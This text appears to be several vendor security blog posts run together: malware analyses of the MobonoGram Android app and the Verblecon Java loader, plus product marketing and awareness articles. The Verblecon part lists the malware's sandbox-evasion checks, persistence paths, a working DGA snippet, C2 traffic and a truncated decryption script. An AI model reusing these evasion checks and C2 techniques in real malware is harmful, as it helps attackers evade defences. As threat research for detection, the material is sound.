CLICK TO TWEET
The app was available on Google Play for a time and downloaded more than 100,000 times before it was removed from the store. The developer, RamKal Developers, is believed to have published at least five updates for the app on the Play store before it was taken down.
The MobonoGram 2019 app was available on Google Play for a time and downloaded more than 100,000 times before it was removed from the store.
Persistence mechanism
From the malware's manifest file, we spotted a class named Autostart (android.support.translations.english.autostart) which implements a broadcast receiver. This receiver responds to three events on the device: whenever it is booted up, when an app is being installed, or when any app is being updated (BOOT_COMPLETED, PACKAGE_ADDED, PACKAGE_REPLACED, respectively).
Figure 2. The manifest file showing the broadcast receiver implemented by the Autostart class will react to three events on the device
When the broadcast receiver class receives the said events, the AddService class will be summoned, then initiates a few other services, namely AndroidAF, AndroidAL, AndroidPA, AndroidPC, AndroidSH—all without the user's knowledge.
To ensure the service would run persistently, the developer added two methods in the AddService class: Firstly, to start the service as a foreground service in AddService class. According to Android, a foreground service is rarely killed, even when memory is low.
Figure 3. The AddService class starts AndroidAF, AndroidSH, AndroidAL classes as foreground services using the startForegroundService method
Secondly, in the event that the service is killed, the malware sets an alarm that initializes the AddService class to reboot itself 7,200,000 milliseconds, or two hours, after it was destroyed. With such tactics, the malware will be able to execute itself indefinitely.
With the services up and running, it starts to access a few designated servers, which will respond with JSON-formatted content consisting of three main parts: a URL (denoted as Link in the response), a user agent (denoted as Agent in the response), and three JavaScript codes (denoted as S1, S2, S3 in the response).
Figure 4. Sample response received after accessing the designated servers
Infinite requests
With the given URL (see "Link" in Figure 4), the malware tries to access and load the page. A fraudulent user agent is also added to the URL's request header to disguise the source of the request. From our research, we believe that the user agent generated is at least semi-random, since no two same user agents are generated from querying the same server.
We found that the URL changes based on the geographical location of the device's IP address. For example, when we used an IP address originating from the U.S., a fraud website similar to Fakeyouwon was returned. When we used an IP address from Singapore, the server responded with a Fakeyouwon, pornography, or gaming website. We cannot say how many different URLs can be returned by the server—for all we know, what we've seen was only a drop in the bucket.
Figure 5. Sample Fakeyouwon websites returned from a device connected to a U.S. IP address (left) and a Singapore IP address (right)
We have also seen the URL making a request to itself, causing an infinite loop of requests to the website. Such activity not only exhausts the device’s battery, but also leads to an unpleasant user experience and may even cause the device to crash.
Figure 6. Packet trace shows the creative.strpjmp.com domain making a GET request to itself, creating an infinite number of requests
Three JavaScript codes
Looking at the three JavaScript codes, we initially believed that the app was originally designed to simulate clicking behind the scenes in order to generate ad revenues and increase web traffic (click fraud). However, the clicking events were not seen in action, even though all JavaScript codes were indeed loaded. Nonetheless, we cannot entirely dismiss the possibility of the malware being used for click fraud or some other malicious end.
From the source code, we can see that the contents of the JavaScript were indeed executed in the code, and they are entirely controlled by the server, which implies that the content can be easily changed as and when desired.
Figure 7. Source code showing the extraction of Link, Agent, and the three JavaScript codes
Upon obtaining the server's response, the code will first load the "Link" URL, followed by loading the "S1" JavaScript after 1,000 milliseconds (1 second), then the "S2" script after 15,000 milliseconds (15 seconds), and finally the "S3" script after 35,000 milliseconds (35 seconds).
Figure 8. Source code extracted from the malware showing all three JavaScript codes obtained from the server were executed
Different apps, same behavior
During our research, we also came across another social messaging app named Whatsgram on the Play store. Not only does this app exhibit similar malicious behavior described in this blog, it was also published by the same developer (RamKal Developers).
On many third-party Android app stores, we found four other apps that were published by a developer known as PhoenixAppsIR. These apps also contain similar malicious code that accesses malicious and/or phishing websites using the victim device unbeknownst to the user. We believe that either these two developers belong to one and the same organization, or the code was being copied from one to the other.
Prevalence
From January through May 2019, Symantec detected and blocked 1,235 infections related to the Android.Fakeyouwon malware family (Figure 9), with the highest number of infections located in the U.S., Iran, India, and the UAE (Figure 10).
Figure 9. Symantec has blocked 1,235 instances of Android.Fakeyouwon since January 2019
Figure 10. The U.S., Iran, India, and the UAE were the top regions infected by the Android.Fakeyouwon family from January through May 2019
Meanwhile, the highest number of devices infected by the particular Fakeyouwon variant described in this blog since January 2019 were located in Iran, the U.S., UAE, and Germany.
Figure 11. Iran, the U.S., UAE, and Germany were the regions most affected by this Fakeyouwon variant
Mitigation
Such code structure is usually hard to spot via static code analysis, making it extremely easy for the attacker to sneak its way into Google Play. Additionally, these attacks can become really nasty quickly as it can load and execute any dynamic malicious contents that are sent by the server.
We advise users to take the following precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Install a suitable mobile security app, such as Norton or Symantec Endpoint Protection Mobile, to protect your device and data.
Make frequent backups of important data.
Protection
Symantec and Norton products detect the malicious app as Android.Fakeyouwon.
Indicators of Compromise
Table 1. Samples published by RamKal Developers
Hashes Package name Version
cdf792f1ef66d3790e06bc80971560a8c6e3500476ee9e3700e12bbb1ae88468 org.mobonogram.messenger 9.5.13 MTP
7844aa5c4706a333e71ccabbbafaace6d3311671761201f373bbb91f350e0c82 org.mobonogram.messenger 9.5.13 MTP
c3927fdddb69e291b23296c4de23e9c3c5e098e757ccbfe9005299aa427ae443 org.mobonogram.messenger 9.4.28 MTP
734363b849d289e23d385b8c1d3490f5a20f9a3baee890973fb645d4586cd6e4 org.mobonogram.messenger 9.4.28 MTP
4e00626249c7fbab4ed9e5f3db215b0dff970077777b871d1e78f8014fdf1d24 org.mobonogram.messenger 9.4.25 MTP
5eed7d3ecd9b438befc73dfd49e10f2511276f1ff7dc8af2f1f3a00df614ba6c org.mobonogram.messenger 9.4.20 MTP
fe7a46f299e92ea6e4cf2e662d20ef825e30c5d9ff226b426a2263a6c6bb4d79 com.massengers.whatsgram 9.4.25
Table 2. Samples published by PhoenixAppsIR
Hashes Package name
1e118357248ec8ed3098d1a0f74a2487b99d6ff629535e6990d5afe204e57306 com.recorder.sajjadappss.callrecordernew
28a0b453c1bb1a9cced3d34c9dc752cef41ed2c23d972abf2e5d1fb996595754 com.sajjadapps.photos.blendernew
99d3d25c99ce408406801a9ef376a3517a5c99aa81f4ca94e6e3277ceec1c40e com.sajjads.apps.ringtone.video.editor
e6bf383a5dd7796ff747419975a6589fda9bd6482c8449e4f92612bed5e64e12 com.hidegallerbysajjadnew
Table 3. Forged user agents*
User agents
'Agent':'Mozilla/5.0 (Linux; Android 6.0.1; SM-G532G Build/MMB29T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.83 Mobile Safari/537.36'
'Agent':'Mozilla/5.0 (Linux; Android 7.0; SM-G570M Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'
'Agent':'Mozilla/5.0 (Linux; Android 5.1.1; Lenovo-A6020l36 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36'
'Agent':'Mozilla/5.0 (Linux; Android 8.0.0; FIG-LX3 Build/HUAWEIFIG-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'
'Agent':'Mozilla/5.0 (Linux; Android 8.0.0; FIG-LX3 Build/HUAWEIFIG-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36'
Table 4. Designated servers queried by MobonoGram 2019 apps
URLs
hxxp://2dl.pw/so/AndroidAF.php?vk=h20
hxxp://2dl.pw/so/AndroidSH.php?vk=h50
hxxp://2dl.pw/so/AndroidAL.php?vk=h23
Table 5. Suspicious/malicious domains accessed by these malicious apps*
Domains
hxxp://2dl.pw
hxxp://ps.popcash.net
hxxp://tsyndicate.com
hxxp://go.strpjmp.com
hxxp://creative.strpjmp.com
hxxp://stripchat.com
hxxps:/www.amarktflow.com
hxxp://festyy.com
hxxps://heroesofrpg.com
Note: *The list shown is by no means exhaustive.
|
Unveiling Symantec DLP 15.8
The release customers have eagerly awaited
The excitement is palpable for our upcoming Data Loss Prevention 15.8 release, which will be available in February 2021. It is a very important release for many reasons: it is filled with new capabilities that many of our customers are waiting to see and use, it underscores the increased commitment and investment from Broadcom for Symantec DLP and is a testimony to the dedication and hard work of our R&D team in these exceptionally challenging times.
DLP 15.8 makes significant strides in ensuring ease of use - in both deploying DLP (e.g Version Upgrade & LiveUpdate improvements) and its continued operations (DLP Incident remediation using ServiceNow). It enables a world class integration between Symantec DLP and Microsoft Information Protection (MIP) for Classification and Encryption. It also includes updates to our detection technologies to help customers find more sensitive data faster (e.g DICOM files) and detect sensitive information in commercial and home grown web applications (e.g Jive, Confluence, etc).
The excitement is palpable for our upcoming Data Loss Prevention 15.8 release, which will be available in February 2021.
There are many features as part of this Symantec DLP 15.8 release that customers can benefit from. Here are some of the specific features that you will want to know about:
DLP End User Remediation
We all know that it’s hard to keep up with the sheer volume of incoming DLP incidents and remediate them all. It’s also sometimes difficult for a central IR team to determine how an incident has to be remediated for the fear of breaking a business process. If only you had the ability to engage the owners of the file or the frontline managers to help with incident remediation. Well, with this release we are enabling just that – you can now use the End User Remediation feature to help decentralize incident remediation using ServiceNow. You can use this for any DLP incident and choose to engage anyone in your organization for Incident Remediation. Besides helping customers remediate more and mitigate risk, this capability helps customers lower the overall cost of incident remediation.
MIP Classification and Encryption
We understand that customers who embark on a Document Classification and Encryption journey worry about document misclassification as they know their end users are more focused on their work and less on how a document should be classified and whether or not it should be encrypted. Customers desire a machine guided approach but this approach requires complex content and contextual policies to be created and they dread creating them again in MIP. They would much rather want to extend the use of their already defined policies in DLP for Document Classification and Encryption. With this release, in our continued collaboration with Microsoft, we have enabled that function - you can now extend your already existing DLP policies to drive MIP Classification and Encryption.
Be on the lookout over the next coming weeks for more information about the latest updates and features for DLP 15.8 that we will be publishing.
DLP Endpoint - Live Update
We all know that with the frequent release of new OS and browser updates, there are times when we need to patch the DLP Endpoint agent so that there is uninterrupted DLP coverage and it’s difficult for organizations to deploy an entire new agent in such a short timeframe.
Customers have requested for the ability to do a targeted update of the agent binaries in a more automated manner. In DLP 15.7, we first released LiveUpdate for deploying agent hotfixes on windows endpoints. In this upcoming release, you will now have the ability to do the same on macOS endpoints. In addition, we have added more granular Enforce based LiveUpdate targeting features, so you can target your LiveUpdate to certain endpoints first before gradually rolling the update out to the entire organization.
Keep an eye out for more news on DLP 15.8
The list of new capabilities we are adding in this upcoming release is long. Be on the lookout over the next coming weeks for more information about the latest updates and features for DLP 15.8 that we will be publishing.
If you need a detailed walkthrough of the product features and benefits, you can reach out to us via your account teams and one of us here at Broadcom will be happy to schedule some time with you to demo and discuss 15.8.
|
Up and to the Right: Symantec is a Leader in the 2018 MQ for Endpoint Protection Platforms
Symantec placed highest for execution and furthest for completeness of vision in the 2018 Gartner Magic Quadrant for Endpoint Protection Platforms
In the cyber security business, victory laps are ill-advised. We all understand that this race against the bad guys has no end in sight and that we have to find ways to improve our pace, our innovation and our execution, day-in and day-out.
With that said, it’s nonetheless extremely gratifying to see Gartner’s 2018 Magic Quadrant for Endpoint Protection Platforms. It places Symantec highest in its Leaders Quadrant for ability to execute and furthest for completeness of vision. (And follows Symantec’s recent Gartner Peer Insights Customer Choice Gold Award for endpoint protection where our customers validated our EPP products and direction.)
We are no stranger to the Leaders Quadrant—in fact, Symantec has been named a leader in every Gartner Endpoint Protection Magic Quadrant since 2002. We believe this year’s placement is a testament to the hard work and innovation of a lot of talented and passionate people here at Symantec, in a wide variety of roles throughout all levels of the organization. They are driven by one over-riding success metric: keeping customers safe. This kind of market feedback via the Gartner report is a great indicator that we are on the right path. And rest assured, we are committed to continually innovating and improving.
Read the full report here.
What’s Next?
Of course, we have work to do and a race to keep running. Today is just one point on the journey. In 2016, we introduced Symantec Endpoint Protection (SEP) 14, giving customers the ability to combat cyber threats with an integrated defense platform that orchestrated prevention, detection and response across endpoints, gateways, messaging and the cloud. This past October, we introduced Cloud Generation Endpoint Security, lowering complexity and bringing together a complete stack for endpoint security. We took advantage of world-class R&D to bring customers new innovations this year:
An endpoint deception capability that can be deployed and managed at scale, so that customers can turn the tables on attackers.
An endpoint App Isolation capability, through SEP Hardening that enables enterprises to adapt their security posture by creating un-penetrable Castles for protecting high value applications while running unknown applications in un-breakable jails while creating the right user experience
Significantly enhanced EDR capabilities with full FDR, File-less detections and a hybrid sandbox
Tomorrow? Expect more innovation. Expect our ongoing commitment to great execution. And expect greater efficiency and better TCO for your organization. On the latter, our approach (both with Endpoint Protection but also more broadly with our Integrated Cyber Defense Platform) reduces costs and allows the resulting savings to flow directly to the bottom line. Instead of needing to invest in various security controls that don’t necessarily improve overall endpoint security, customers benefit from a complete endpoint protection with a single security stack.
To the great team here at Symantec, thank you for your hard work and dedication. We all know that we have long had a vision to provide our customers with a comprehensive endpoint protection stack. And over the years, as new players entered the market and grabbed headlines with any number of “security point products du jour,” we kept our focus. We stayed true to our convictions, and we executed.
To our customers and partners, thank you for your business and please feel free to share any feedback with me. In the meantime, expect Symantec to keep moving “up and to the right!”
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. Gartner Peer Insights Customer Choice Awards are determined by the subjective opinions of individual end-user customers based on their own experiences, the number of published reviews on Gartner Peer Insights and overall ratings for a given vendor in the market, as further described here http://www.gartner.com/reviews-pages/peer-insights-customer-choice-awards/ and are not intended in any way to represent the views of Gartner or its affiliates.
|
Users encounter threats through email twice as often as other infection vectors
The latest ISTR special report, Email Threats 2017, casts a light on a threat landscape where attackers are actively spreading malicious threats, BEC scams, and a variety of spam through email.
Hello Sir,
Thanks for your response to our order inquiry, I am very sorry to reply you=this late.
At first glance, it seems like a fairly run-of-the-mill email. The subject line said “New Order” and it goes on to explain that this import and export company has a customer interested in your products.
The company wishes to discuss the order with you further and has attached a PDF outlining their needs. If you open the PDF, you find it contains the following message:
Malicious PDF attached to spam email
This is all that’s contained within the one-page PDF. The question is, do you click the link?
This scenario details an actual malicious email campaign that is currently playing out on the threat landscape. And while there’s nothing new to note in the entire infection process, we see similar scenarios day in and day out.
It may seem obvious when broken down as we have here, but there’s no question it yields results for attackers. In fact email is the most commonly used infection vector on the threat landscape.
In our latest ISTR special report, Email Threats 2017, we describe how people are more than twice as likely to encounter threats through email than any other infection vector. In fact, one out of every nine email users will have had a malicious email sent to them in the first half of 2017. And the likelihood rises further depending on which industry the user works in. For instance, if the user is in Wholesale Trade, as they likely would in the scenario outlined above, that ratio climbs to one out of every four users.
"1 in 9 users encountered malicious email in H1 2017"
CLICK TO TWEET
But email with malicious code isn’t the only threat out there. Business email compromise (BEC) scams are another continuing threat. These are scenarios where a scammer impersonates someone along the lines of an executive within your company, or another person of power within the supply or administrative chains, and attempts to get users to wire money or share sensitive information with them.
It’s an attack that’s proven quite lucrative for scammers—the FBI estimates over US$5 billion has been stolen through these scams between late 2013 and the end of 2016. According to our latest analysis, we see approximately 8,000 businesses targeted by BEC scams in a given month. On average these businesses receive more than five BEC scam emails each month.
Spam also continues to be an email annoyance as well. While the spam rate has been in a slow but steady decline since 2011, our latest research has discovered that the spam rate may have bottomed out and is now beginning to climb again. In fact, the spam rate for the first half of 2017 hit 54 percent, which equates to around 11 more spam emails in your inbox each month compared to a year ago.
Once again, these rates are much higher in some industries. For instance, our friends in the Wholesale Trade industry can see twice as much spam as the average user would. But they’re not alone, as other industries, such as Manufacturing, Retail Trade, Construction, and Mining—all industries that can also be targeted by campaigns such as the one above—saw spam rates that were all 1.5 times above the average.
Email is one of the most popular tools for communication, but this ubiquity has also made it a hotbed full of scammers looking to wreak havoc. These are just a few of the insights uncovered in our latest ISTR special report. You can download your copy of Email Threats 2017 now to read about more risks on the email threat landscape and what you can do about it.
|
Users: How to Turn Your Greatest Weakness into Your First Line of Defense
Your organization’s employees should be the first line of defense, not the weakest link
When you plan the defense of your organization’s information assets, are you resigned to the fact that all your efforts will be made in spite of your user population? It’s easy to view the workforce as part of the problem – one of several critical attack vectors, and perhaps the most likely to be exploited. According to the 2019 Symantec Internet Security Threat Report, ransomware attacks against enterprises were up by 12% in 2018, accounting for 81% of all such attacks.
Most organizations acknowledge the issue of end-user vulnerability and make some effort to educate employees in the basics of prudent data handling and online behavior. But too often, IT managers do little more than issue a handout with a few guidelines and call it a day. Doing so enables them to check the box that they’ve done something, knowing that the effort will ultimately fail at some point. And can you blame them? They would prefer to spend time and resources on IoT defense or implementing a sophisticated zero-trust cyber security strategy. Employee training lacks sizzle.
But the fact is, the bad guys are coming up with new threats that target employees all the time. CEO scams are a prime example. The bad actors pretend to be the CEO, sending out an email to a high-level employee such as a corporate financial officer asking for money to be transferred to a seemingly legitimate destination. Instead, the money goes to the fraudsters.
Think of it this way: Your organization’s employees could be the first line of defense, not the weakest link.
A textbook case was reported in early 2019 in the UK. An employee transferred almost £200,000 to a fraudulent account as requested by scammers pretending to be her boss. The company’s bank refunded more than £85,000, but the company is suing the employee for the difference of £107,984. The employee’s defense is that she had no training on how to spot email scams.
With such threats emerging, you can and should do more to prepare your workforce. Think of it this way: Your organization’s employees could be the first line of defense, not the weakest link. There are three basic requirements for a strong security awareness program:
Engaging: There is no substitute for effective communication. Sending out a printout or an email is not enough. Videos play a vital role, but videos must be high-quality to attract and hold employees’ attention. They must be topical, concise, and memorable.
Measurable: Are people viewing the videos? Are they retaining the information? A brief before- and-after viewer quiz can answer those questions. Quiz results let you know who is keeping up to date and who is not – and let the employees themselves know how they are doing.
Evolving: Because new threats are emerging all the time, security awareness information must be refreshed regularly in order to remain relevant. Just as cyber security defense strategies must continually adapt, security awareness training is never finished.
Security Awareness Services
Symantec’s Security Awareness Services (SAS) delivers comprehensive security awareness training in a multifaceted offering consisting of more than 70 training videos and ongoing support. Videos cover everything from how to create strong passwords, to best practices for working remotely, and of course, how to avoid falling victim to the latest phishing and spear-phishing attacks. The production values of SAS videos are high. Skilled presenters deliver concise information clearly and engagingly. Some “scary” videos inject humor into a serious subject – the better to create an impression on the viewer. New videos are being added all the time as existing threats evolve and new threats emerge. In addition:
SAS web-based training is compliant with the Sharable Content Object Reference Model (SCORM). SCORM-compliant content is created once and can be shared and reused multiple times in different contexts without modification.
SAS includes a quiz for each video to take the pulse of user security awareness, pointing out where user knowledge is high or where more work is needed.
SAS includes newsletters, printable posters and email reminders for internal communication campaigns.
You can also request a demo here.
Security awareness is far too important to embark on as a halfhearted new-hire ritual. Defending against cyber attacks is a vital and ongoing discipline that’s part of every employee’s job. SAS will help you build a strong security awareness program to transform your organization’s employees from a demoralized workforce waiting to be victimized into an effective army ready to do its part to protect your organization.
|
Using Symantec DLP Solutions with Amazon AWS
Aurora demonstrates real world solutions
Migrating Workloads to AWS—How to Protect Your Data with Symantec
Many CISOs are making the switch from their VPN to Amazon AWS because of the complexity of a VPN. Amazon Workspaces can be more secure as it allows the administrator to have more control of the workspaces. By using AWS to access the network, the vulnerabilities of each laptop are minimized. For this reason, the rise of bring your own device (BYOD) has increased the popularity of AWS Workspaces.
How to Make Sure that the Data in Amazon Workspaces is Secure?
CISOs that are using AWS to support remote workers need a solution to build on what they already have. We all know that Data Loss Prevention solutions allow organizations to find and protect sensitive data. However, there are important considerations to take into account when deciding on the right approach. The first question we advise our customers to ask is, “Do I need to secure data in AWS, or do I need to secure data everywhere?”
Implementing an AWS only DLP solution can be ineffective as organizations incur budget, time, and resource constraints. It can be inefficient to operate multiple systems and it can cause an increased risk in data loss and policy gaps. That’s where Symantec Data Loss Prevention Solutions (DLP) come in.
Aurora is a Symantec partner, who provides designated Symantec and AWS certified experts. On a recent project, we used Symantec Data Loss Prevention solutions to protect data in motion and data at rest on AWS.
Many CISOs are making the switch from their VPN to Amazon AWS because of the complexity of a VPN.
Many of our customers who are migrating to AWS already have Symantec solutions in their environment. By utilizing existing solutions and integrating them into AWS, we can provide a cost effective and efficient approach to increasing security in the cloud. We worked to extend Symantec DLP to AWS Virtual Private Cloud (VPC) and used Symantec CloudSOC to better secure EC2 and EC3.
Symantec DLPs solution is based around a single policy framework, making it easier to extend protection into the cloud, including AWS. Aurora recommends that for achieving enhanced data discovery, a single view of on-premises through to cloud, and simplified operations across the entire data landscape - that customers deploy Symantec DLP.
In short, Symantec Data Loss Prevention solutions were effective in protecting data in AWS because of its maturity. Symantec DLP allowed the customer to protect a wide range of data in motion in a short amount of time, making their security environment stronger.
To learn more about how Symantec DLP can be used to better protect data in the cloud please see our whitepaper: Addressing Cloud Data in AWS Using DLP.
|
Verblecon: Sophisticated New Loader Used in Low-level Attacks
Indications the attacker may not realize the potential capabilities of the malware they are using.
An unknown attacker is using a complex and powerful new malware loader in relatively unsophisticated and low-reward attacks, indicating they may not realize the potential capabilities of the malware they are deploying.
The malware, Trojan.Verblecon, is being used in attacks that appear to have installing cryptocurrency miners on infected machines as their end goal. There are some indications the attacker may also be interested in stealing access tokens for chat app Discord. However, the capabilities of this malware indicate that it could be highly dangerous if leveraged in ransomware or espionage campaigns.
Verblecon was first spotted by analysts from Symantec, a division of Broadcom Software, in January 2022. This blog will detail the capabilities of the malware.
Technical breakdown
The malware is loaded as a server-side polymorphic JAR file. The fact that the file is polymorphic means that, due to encryption and obfuscation, the code of the malware payload looks different each time it is downloaded. Attackers generally pack malware in this way in an effort to evade detection by security software.
The malware samples analyzed by Symantec were fully obfuscated, in the code flow, strings, and symbols. The samples themselves may be based on publicly available code.
Once started, the malware checks its command-line arguments. It requires at least one command-line argument to execute, which could be the infection or campaign ID initially e.g.
"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" masonkhonsari
and
"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" 923ec15ffa4474ca7bf200bfb90e782d
Additionally, it also attempts to determine if its own process is being debugged by checking for the following Java command-line arguments:
"-xbootclasspath"
"-xdebug"
"-agentlib"
"-javaagent:"
"-xrun:"
"-verbose"
"-agentpath:"
Next, it attempts to detect if it is being opened in a virtual or sandbox environment, which would indicate it is likely being opened on a security researcher’s machine.
First, it checks for the following directories:
"%ProgramFiles(X86)%\VMware\VMware Tools"
"%ProgramFiles(X86)%\Oracle\VirtualBox Guest Additions"
It also obtains the machine MAC address and attempts to check for the following prefixes, which may indicate the file is being opened on a virtual machine:
"00:05:69"
"00:0C:29"
"00:1C:14"
"00:50:56"
"08:00:27"
"00:16:3E"
"00:1C:42"
"0A:00:27"
Following those checks, it executes the following command to obtain a list of running processes:
tasklist.exe /fo csv /nh
It then appears to check these processes against a set list:
"vboxservice.exe"
"vboxtray.exe"
"xenservice.exe"
"vmtoolsd.exe"
"vmwaretray.exe"
"vmwareuser.exe"
"vgauthservice.exe"
"vmacthlp.exe"
"vmsrvc.exe"
"vmusrvc.exe"
"prl_cc.exe"
"prl_tools.exe"
"qemu-ga.exe"
"vmcomputeagent.exe"
"sandboxie"
"vdagent"
"vdservice"
"fiddler"
"joeboxserver.exe"
"joeboxcontrol.exe"
"blnsvr.exe"
It then also checks for the following files:
"%Windows%\system32\windanr.exe"
"%Windows%\system32\drivers\VBoxMouse.sys"
"%Windows%\system32\drivers\VBoxGuest.sys"
"%Windows%\system32\drivers\VBoxSF.sys"
"%Windows%\system32\drivers\VBoxVideo.sys"
"%Windows%\system32\vboxdisp.dll"
"%Windows%\system32\vboxhook.dll"
"%Windows%\system32\vboxmrxnp.dll"
"%Windows%\system32\vboxogl.dll"
"%Windows%\system32\vboxoglarrayspu.dll"
"%Windows%\system32\vboxoglcrutil.dll"
"%Windows%\system32\vboxoglerrorspu.dll"
"%Windows%\system32\vboxoglfeedbackspu.dll"
"%Windows%\system32\vboxoglpackspu.dll"
"%Windows%\system32\vboxoglpassthroughspu.dll"
"%Windows%\system32\vboxservice.exe"
"%Windows%\system32\vboxtray.exe"
"%Windows%\system32\VBoxControl.exe"
"%Windows%\system32\Drivers\Vmmouse.sys"
"%Windows%\system32\Drivers\vm3dgl.dll"
"%Windows%\system32\Drivers\vmdum.dll"
"%Windows%\system32\Drivers\vm3dver.dll"
"%Windows%\system32\Drivers\vmtray.dll"
"%Windows%\system32\Drivers\VMToolsHook.dll"
"%Windows%\system32\Drivers\vmmousever.dll"
"%Windows%\system32\Drivers\vmhgfs.dll"
"%Windows%\system32\Drivers\vmGuestLib.dll"
"%Windows%\system32\Drivers\VmGuestLibJava.dll"
"%Windows%\system32\Driversvmhgfs.dll"
"[java.lang.System.getProperty("user.home")]\Desktop\moutonheart.wav"
Next, it appears to check the user name against the following:
java.lang.System.getProperty("user.name") == "WDAGUtilityAccount"
java.lang.System.getProperty("user.name").startsWith("hal-")
Then it executes the following command:
reg query "HKU\S-1-5-19"
It is unclear how the output is processed, however, there are some strings that could be related to this or other registry checks:
"HARDWARE\ACPI\DSDT\"
"HARDWARE\ACPI\FADT\"
"HARDWARE\ACPI\RSDT\"
"SOFTWARE\Oracle\"
"SYSTEM\ControlSet001\Services\"
"SYSTEM\ControlSet001\Services\"
"SOFTWARE\Microsoft\Virtual Machine\Guest\"
"SOFTWARE\VMware, Inc.\"
"SOFTWARE\"
"VBOX__"
"VBOX__"
"VirtualBox Guest Additions"
"VBoxGuest"
"VBoxMouse"
"VBoxService"
"VBoxSF"
"VBoxVideo"
"Parameters"
"VMware Tools"
"Wine"
If satisfied with these checks, it may copy itself as one of the following files:
"%ProgramData%[INFECTION_ID][INFECTION_ID].jar"
"%ALL_USERS_HOME%[INFECTION_ID][INFECTION_ID].jar"
"%LOCALAPPDATA%[INFECTION_ID][INFECTION_ID].jar"
And then create one of the following files to use as a loadpoint:
"%HOMEPATH%\Library\LaunchAgents[INFECTION_ID].plist"
"%Windows%\System32\Tasks[INFECTION_ID]"
[INFECTION_ID] is computed as follows:
hashlib.md5(b"%PROCESSOR_IDENTIFIER%%COMPUTERNAME%[USER_NAME]").hexdigest()
Then it periodically attempts to connect to the following URLs:
"hxxps://gaymers[.]ax/"
"hxxp://[DGA_NAME][.]tk/"
[DGA_NAME] is apparently generated using the following method:
import datetime
import hashlib
def dga(day):
seed = bytes(day.strftime("%Y-%m-%d"), "ascii") + b"verble"
md5 = hashlib.md5(seed)
return md5.hexdigest()
print(dga(datetime.date.today()))
The traffic generated by the malware looks like this:
POST / HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 2
k=
The server response appears as the below. Some of the strings in this response indicate that the attacker may be leveraging legitimate Cloudflare infrastructure to host some of their C&C infrastructure.
HTTP/1.1 200 OK
Date: Fri, 28 Jan 2022 21:27:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=IoiU38KEKgi24kr9QHrmWg%2F%2B7pJc7jkKFghTxjGEGnFLDYDVtn0jrsN5FVkZrQAb9XUJlyEAjfQM%2BZ%2FJVPN4wTrU6Otancwny335hs3uyGy6DoE%2B9nl8eKz9mdDr"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6d4d4e246b68cdab-CDG
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
3c0
J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62gwh+jTVgeupvenZoqw1+h/YKaF/lknZ11Cp5dgVKe9mxifc1b7t2FpTeqYMhT5NoyoWx/99mxyBt9OSDzJviK3fhJq+yhCDsZ3TWsYdZBAU2q0gQGYbmGT1w1DSbF+bcZ3rL47RHBKK2+NpkKmVMSoaL2d6SyGxom++MEiwIRTkhVtewxZPuXOeJ9AbZ9VqEnBo+77T3x7sxgX19PO8z9Rdbp7uHJ/8HLXEZcQnHjHBbRPQQcCFH5R/XNLmIHjaRApikb8QuRVJAVdDmNnpRpExWIbZ7k0R6AjiPDkuIAK+bj3v11HnQbVxIDBj9/GUI6XZDVACnSyUkeNprXB+FyC/ppfwwzyvtHj/BTyAX5UFfeghFym7qRa3UxZxw5H/PTukCPkdquEw/zXdlEf6hj0/2GNXHIhamrXeJ8WPfpsnHhgYaSHi83CKE6y2WMUdrCxeXgdvUg5sD6qyqrIiP+VLQeN22gIKuGlE1lh2Mm2JcrnHKq6P2G9fu2E6ZzoKL8N8KfuzCc8JqTGHVhjCDkSEgUCT8iXbvI6VqScV3vZ1Irc5Gd1T6w2NF4wd2zsRWAO7s+0aFCcKsFv0MHkYNpZPWdOX+tTgJZFigbsJ/IOHXSyxfUN0MLeEDEAbR9ymFB3uU9bbfeNlUWlVJxenLRtQLHxJDXQFBugRfFM0nJVxPIZHWcj22dlnyrqYUIX5Q8X8qNsXkz64DsrTBXMa52LrgeKDKNrQw+7Xpat5601VXUM80CVIfwhmmC5LiLP9ef0NuuDtkMDiX8KQdAWlMknOq8N0Z2TxKnznlCoJ27f0VSCVYD/3iepe5f+8EPD3Ob7CPOs0zB
0
The server response body above is an encrypted blob that contains a URL signed with an RSA key. This blob can be decrypted and validated as follows:
#!/usr/bin/python3
import Crypto.Cipher.AES
import Crypto.Hash.SHA256
import Crypto.PublicKey.RSA
import Crypto.Signature.pkcs1_15
import Crypto.Util.Padding
import base64
# from sample
aes_key = b"cYIoouG6CRk3ds6dZAfRdQOomHfxOFJ6"
